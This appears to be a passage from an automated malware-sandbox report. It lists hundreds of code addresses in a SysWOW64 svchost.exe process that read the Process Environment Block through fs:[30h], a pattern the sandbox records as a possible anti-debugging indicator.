Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]	2_2_03C5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]	2_2_03C5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C325E0 mov eax, dword ptr fs:[00000030h]	2_2_03C325E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6C5ED mov eax, dword ptr fs:[00000030h]	2_2_03C6C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6C5ED mov eax, dword ptr fs:[00000030h]	2_2_03C6C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C32582 mov eax, dword ptr fs:[00000030h]	2_2_03C32582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C32582 mov ecx, dword ptr fs:[00000030h]	2_2_03C32582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C64588 mov eax, dword ptr fs:[00000030h]	2_2_03C64588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6E59C mov eax, dword ptr fs:[00000030h]	2_2_03C6E59C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB05A7 mov eax, dword ptr fs:[00000030h]	2_2_03CB05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB05A7 mov eax, dword ptr fs:[00000030h]	2_2_03CB05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB05A7 mov eax, dword ptr fs:[00000030h]	2_2_03CB05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C545B1 mov eax, dword ptr fs:[00000030h]	2_2_03C545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C545B1 mov eax, dword ptr fs:[00000030h]	2_2_03C545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C38550 mov eax, dword ptr fs:[00000030h]	2_2_03C38550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C38550 mov eax, dword ptr fs:[00000030h]	2_2_03C38550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6656A mov eax, dword ptr fs:[00000030h]	2_2_03C6656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6656A mov eax, dword ptr fs:[00000030h]	2_2_03C6656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6656A mov eax, dword ptr fs:[00000030h]	2_2_03C6656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC6500 mov eax, dword ptr fs:[00000030h]	2_2_03CC6500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D04500 mov eax, dword ptr fs:[00000030h]	2_2_03D04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D04500 mov eax, dword ptr fs:[00000030h]	2_2_03D04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D04500 mov eax, dword ptr fs:[00000030h]	2_2_03D04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D04500 mov eax, dword ptr fs:[00000030h]	2_2_03D04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D04500 mov eax, dword ptr fs:[00000030h]	2_2_03D04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D04500 mov eax, dword ptr fs:[00000030h]	2_2_03D04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D04500 mov eax, dword ptr fs:[00000030h]	2_2_03D04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40535 mov eax, dword ptr fs:[00000030h]	2_2_03C40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40535 mov eax, dword ptr fs:[00000030h]	2_2_03C40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40535 mov eax, dword ptr fs:[00000030h]	2_2_03C40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40535 mov eax, dword ptr fs:[00000030h]	2_2_03C40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40535 mov eax, dword ptr fs:[00000030h]	2_2_03C40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40535 mov eax, dword ptr fs:[00000030h]	2_2_03C40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5E53E mov eax, dword ptr fs:[00000030h]	2_2_03C5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5E53E mov eax, dword ptr fs:[00000030h]	2_2_03C5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5E53E mov eax, dword ptr fs:[00000030h]	2_2_03C5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5E53E mov eax, dword ptr fs:[00000030h]	2_2_03C5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5E53E mov eax, dword ptr fs:[00000030h]	2_2_03C5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C304E5 mov ecx, dword ptr fs:[00000030h]	2_2_03C304E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CEA49A mov eax, dword ptr fs:[00000030h]	2_2_03CEA49A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C364AB mov eax, dword ptr fs:[00000030h]	2_2_03C364AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C644B0 mov ecx, dword ptr fs:[00000030h]	2_2_03C644B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CBA4B0 mov eax, dword ptr fs:[00000030h]	2_2_03CBA4B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6E443 mov eax, dword ptr fs:[00000030h]	2_2_03C6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6E443 mov eax, dword ptr fs:[00000030h]	2_2_03C6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6E443 mov eax, dword ptr fs:[00000030h]	2_2_03C6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6E443 mov eax, dword ptr fs:[00000030h]	2_2_03C6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6E443 mov eax, dword ptr fs:[00000030h]	2_2_03C6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6E443 mov eax, dword ptr fs:[00000030h]	2_2_03C6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6E443 mov eax, dword ptr fs:[00000030h]	2_2_03C6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6E443 mov eax, dword ptr fs:[00000030h]	2_2_03C6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CEA456 mov eax, dword ptr fs:[00000030h]	2_2_03CEA456
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2645D mov eax, dword ptr fs:[00000030h]	2_2_03C2645D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5245A mov eax, dword ptr fs:[00000030h]	2_2_03C5245A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CBC460 mov ecx, dword ptr fs:[00000030h]	2_2_03CBC460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5A470 mov eax, dword ptr fs:[00000030h]	2_2_03C5A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5A470 mov eax, dword ptr fs:[00000030h]	2_2_03C5A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5A470 mov eax, dword ptr fs:[00000030h]	2_2_03C5A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C68402 mov eax, dword ptr fs:[00000030h]	2_2_03C68402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C68402 mov eax, dword ptr fs:[00000030h]	2_2_03C68402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C68402 mov eax, dword ptr fs:[00000030h]	2_2_03C68402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2E420 mov eax, dword ptr fs:[00000030h]	2_2_03C2E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2E420 mov eax, dword ptr fs:[00000030h]	2_2_03C2E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2E420 mov eax, dword ptr fs:[00000030h]	2_2_03C2E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2C427 mov eax, dword ptr fs:[00000030h]	2_2_03C2C427
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB6420 mov eax, dword ptr fs:[00000030h]	2_2_03CB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB6420 mov eax, dword ptr fs:[00000030h]	2_2_03CB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB6420 mov eax, dword ptr fs:[00000030h]	2_2_03CB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB6420 mov eax, dword ptr fs:[00000030h]	2_2_03CB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB6420 mov eax, dword ptr fs:[00000030h]	2_2_03CB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB6420 mov eax, dword ptr fs:[00000030h]	2_2_03CB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB6420 mov eax, dword ptr fs:[00000030h]	2_2_03CB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6A430 mov eax, dword ptr fs:[00000030h]	2_2_03C6A430
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C50BCB mov eax, dword ptr fs:[00000030h]	2_2_03C50BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C50BCB mov eax, dword ptr fs:[00000030h]	2_2_03C50BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C50BCB mov eax, dword ptr fs:[00000030h]	2_2_03C50BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C30BCD mov eax, dword ptr fs:[00000030h]	2_2_03C30BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C30BCD mov eax, dword ptr fs:[00000030h]	2_2_03C30BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C30BCD mov eax, dword ptr fs:[00000030h]	2_2_03C30BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDEBD0 mov eax, dword ptr fs:[00000030h]	2_2_03CDEBD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C38BF0 mov eax, dword ptr fs:[00000030h]	2_2_03C38BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C38BF0 mov eax, dword ptr fs:[00000030h]	2_2_03C38BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C38BF0 mov eax, dword ptr fs:[00000030h]	2_2_03C38BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5EBFC mov eax, dword ptr fs:[00000030h]	2_2_03C5EBFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CBCBF0 mov eax, dword ptr fs:[00000030h]	2_2_03CBCBF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40BBE mov eax, dword ptr fs:[00000030h]	2_2_03C40BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40BBE mov eax, dword ptr fs:[00000030h]	2_2_03C40BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE4BB0 mov eax, dword ptr fs:[00000030h]	2_2_03CE4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE4BB0 mov eax, dword ptr fs:[00000030h]	2_2_03CE4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE4B4B mov eax, dword ptr fs:[00000030h]	2_2_03CE4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE4B4B mov eax, dword ptr fs:[00000030h]	2_2_03CE4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D02B57 mov eax, dword ptr fs:[00000030h]	2_2_03D02B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D02B57 mov eax, dword ptr fs:[00000030h]	2_2_03D02B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D02B57 mov eax, dword ptr fs:[00000030h]	2_2_03D02B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D02B57 mov eax, dword ptr fs:[00000030h]	2_2_03D02B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC6B40 mov eax, dword ptr fs:[00000030h]	2_2_03CC6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC6B40 mov eax, dword ptr fs:[00000030h]	2_2_03CC6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFAB40 mov eax, dword ptr fs:[00000030h]	2_2_03CFAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD8B42 mov eax, dword ptr fs:[00000030h]	2_2_03CD8B42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C28B50 mov eax, dword ptr fs:[00000030h]	2_2_03C28B50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDEB50 mov eax, dword ptr fs:[00000030h]	2_2_03CDEB50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2CB7E mov eax, dword ptr fs:[00000030h]	2_2_03C2CB7E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D04B00 mov eax, dword ptr fs:[00000030h]	2_2_03D04B00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAEB1D mov eax, dword ptr fs:[00000030h]	2_2_03CAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAEB1D mov eax, dword ptr fs:[00000030h]	2_2_03CAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAEB1D mov eax, dword ptr fs:[00000030h]	2_2_03CAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAEB1D mov eax, dword ptr fs:[00000030h]	2_2_03CAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAEB1D mov eax, dword ptr fs:[00000030h]	2_2_03CAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAEB1D mov eax, dword ptr fs:[00000030h]	2_2_03CAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAEB1D mov eax, dword ptr fs:[00000030h]	2_2_03CAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAEB1D mov eax, dword ptr fs:[00000030h]	2_2_03CAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAEB1D mov eax, dword ptr fs:[00000030h]	2_2_03CAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5EB20 mov eax, dword ptr fs:[00000030h]	2_2_03C5EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5EB20 mov eax, dword ptr fs:[00000030h]	2_2_03C5EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF8B28 mov eax, dword ptr fs:[00000030h]	2_2_03CF8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF8B28 mov eax, dword ptr fs:[00000030h]	2_2_03CF8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C86ACC mov eax, dword ptr fs:[00000030h]	2_2_03C86ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C86ACC mov eax, dword ptr fs:[00000030h]	2_2_03C86ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C86ACC mov eax, dword ptr fs:[00000030h]	2_2_03C86ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C30AD0 mov eax, dword ptr fs:[00000030h]	2_2_03C30AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C64AD0 mov eax, dword ptr fs:[00000030h]	2_2_03C64AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C64AD0 mov eax, dword ptr fs:[00000030h]	2_2_03C64AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6AAEE mov eax, dword ptr fs:[00000030h]	2_2_03C6AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6AAEE mov eax, dword ptr fs:[00000030h]	2_2_03C6AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3EA80 mov eax, dword ptr fs:[00000030h]	2_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3EA80 mov eax, dword ptr fs:[00000030h]	2_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3EA80 mov eax, dword ptr fs:[00000030h]	2_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3EA80 mov eax, dword ptr fs:[00000030h]	2_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3EA80 mov eax, dword ptr fs:[00000030h]	2_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3EA80 mov eax, dword ptr fs:[00000030h]	2_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3EA80 mov eax, dword ptr fs:[00000030h]	2_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3EA80 mov eax, dword ptr fs:[00000030h]	2_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3EA80 mov eax, dword ptr fs:[00000030h]	2_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D04A80 mov eax, dword ptr fs:[00000030h]	2_2_03D04A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C68A90 mov edx, dword ptr fs:[00000030h]	2_2_03C68A90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C38AA0 mov eax, dword ptr fs:[00000030h]	2_2_03C38AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C38AA0 mov eax, dword ptr fs:[00000030h]	2_2_03C38AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C86AA4 mov eax, dword ptr fs:[00000030h]	2_2_03C86AA4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C36A50 mov eax, dword ptr fs:[00000030h]	2_2_03C36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C36A50 mov eax, dword ptr fs:[00000030h]	2_2_03C36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C36A50 mov eax, dword ptr fs:[00000030h]	2_2_03C36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C36A50 mov eax, dword ptr fs:[00000030h]	2_2_03C36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C36A50 mov eax, dword ptr fs:[00000030h]	2_2_03C36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C36A50 mov eax, dword ptr fs:[00000030h]	2_2_03C36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C36A50 mov eax, dword ptr fs:[00000030h]	2_2_03C36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40A5B mov eax, dword ptr fs:[00000030h]	2_2_03C40A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40A5B mov eax, dword ptr fs:[00000030h]	2_2_03C40A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6CA6F mov eax, dword ptr fs:[00000030h]	2_2_03C6CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6CA6F mov eax, dword ptr fs:[00000030h]	2_2_03C6CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6CA6F mov eax, dword ptr fs:[00000030h]	2_2_03C6CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDEA60 mov eax, dword ptr fs:[00000030h]	2_2_03CDEA60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CACA72 mov eax, dword ptr fs:[00000030h]	2_2_03CACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CACA72 mov eax, dword ptr fs:[00000030h]	2_2_03CACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CBCA11 mov eax, dword ptr fs:[00000030h]	2_2_03CBCA11
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6CA24 mov eax, dword ptr fs:[00000030h]	2_2_03C6CA24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5EA2E mov eax, dword ptr fs:[00000030h]	2_2_03C5EA2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C54A35 mov eax, dword ptr fs:[00000030h]	2_2_03C54A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C54A35 mov eax, dword ptr fs:[00000030h]	2_2_03C54A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6CA38 mov eax, dword ptr fs:[00000030h]	2_2_03C6CA38
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC69C0 mov eax, dword ptr fs:[00000030h]	2_2_03CC69C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A9D0 mov eax, dword ptr fs:[00000030h]	2_2_03C3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A9D0 mov eax, dword ptr fs:[00000030h]	2_2_03C3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A9D0 mov eax, dword ptr fs:[00000030h]	2_2_03C3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A9D0 mov eax, dword ptr fs:[00000030h]	2_2_03C3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A9D0 mov eax, dword ptr fs:[00000030h]	2_2_03C3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A9D0 mov eax, dword ptr fs:[00000030h]	2_2_03C3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C649D0 mov eax, dword ptr fs:[00000030h]	2_2_03C649D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFA9D3 mov eax, dword ptr fs:[00000030h]	2_2_03CFA9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CBE9E0 mov eax, dword ptr fs:[00000030h]	2_2_03CBE9E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C629F9 mov eax, dword ptr fs:[00000030h]	2_2_03C629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C629F9 mov eax, dword ptr fs:[00000030h]	2_2_03C629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C429A0 mov eax, dword ptr fs:[00000030h]	2_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C429A0 mov eax, dword ptr fs:[00000030h]	2_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C429A0 mov eax, dword ptr fs:[00000030h]	2_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C429A0 mov eax, dword ptr fs:[00000030h]	2_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C429A0 mov eax, dword ptr fs:[00000030h]	2_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C429A0 mov eax, dword ptr fs:[00000030h]	2_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C429A0 mov eax, dword ptr fs:[00000030h]	2_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C429A0 mov eax, dword ptr fs:[00000030h]	2_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C429A0 mov eax, dword ptr fs:[00000030h]	2_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C429A0 mov eax, dword ptr fs:[00000030h]	2_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C429A0 mov eax, dword ptr fs:[00000030h]	2_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C429A0 mov eax, dword ptr fs:[00000030h]	2_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C429A0 mov eax, dword ptr fs:[00000030h]	2_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C309AD mov eax, dword ptr fs:[00000030h]	2_2_03C309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C309AD mov eax, dword ptr fs:[00000030h]	2_2_03C309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB89B3 mov esi, dword ptr fs:[00000030h]	2_2_03CB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB89B3 mov eax, dword ptr fs:[00000030h]	2_2_03CB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB89B3 mov eax, dword ptr fs:[00000030h]	2_2_03CB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB0946 mov eax, dword ptr fs:[00000030h]	2_2_03CB0946
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D04940 mov eax, dword ptr fs:[00000030h]	2_2_03D04940
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C56962 mov eax, dword ptr fs:[00000030h]	2_2_03C56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C56962 mov eax, dword ptr fs:[00000030h]	2_2_03C56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C56962 mov eax, dword ptr fs:[00000030h]	2_2_03C56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C7096E mov eax, dword ptr fs:[00000030h]	2_2_03C7096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C7096E mov edx, dword ptr fs:[00000030h]	2_2_03C7096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C7096E mov eax, dword ptr fs:[00000030h]	2_2_03C7096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD4978 mov eax, dword ptr fs:[00000030h]	2_2_03CD4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD4978 mov eax, dword ptr fs:[00000030h]	2_2_03CD4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CBC97C mov eax, dword ptr fs:[00000030h]	2_2_03CBC97C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAE908 mov eax, dword ptr fs:[00000030h]	2_2_03CAE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAE908 mov eax, dword ptr fs:[00000030h]	2_2_03CAE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CBC912 mov eax, dword ptr fs:[00000030h]	2_2_03CBC912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C28918 mov eax, dword ptr fs:[00000030h]	2_2_03C28918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C28918 mov eax, dword ptr fs:[00000030h]	2_2_03C28918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB892A mov eax, dword ptr fs:[00000030h]	2_2_03CB892A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC892B mov eax, dword ptr fs:[00000030h]	2_2_03CC892B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5E8C0 mov eax, dword ptr fs:[00000030h]	2_2_03C5E8C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D008C0 mov eax, dword ptr fs:[00000030h]	2_2_03D008C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFA8E4 mov eax, dword ptr fs:[00000030h]	2_2_03CFA8E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6C8F9 mov eax, dword ptr fs:[00000030h]	2_2_03C6C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6C8F9 mov eax, dword ptr fs:[00000030h]	2_2_03C6C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C30887 mov eax, dword ptr fs:[00000030h]	2_2_03C30887
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CBC89D mov eax, dword ptr fs:[00000030h]	2_2_03CBC89D
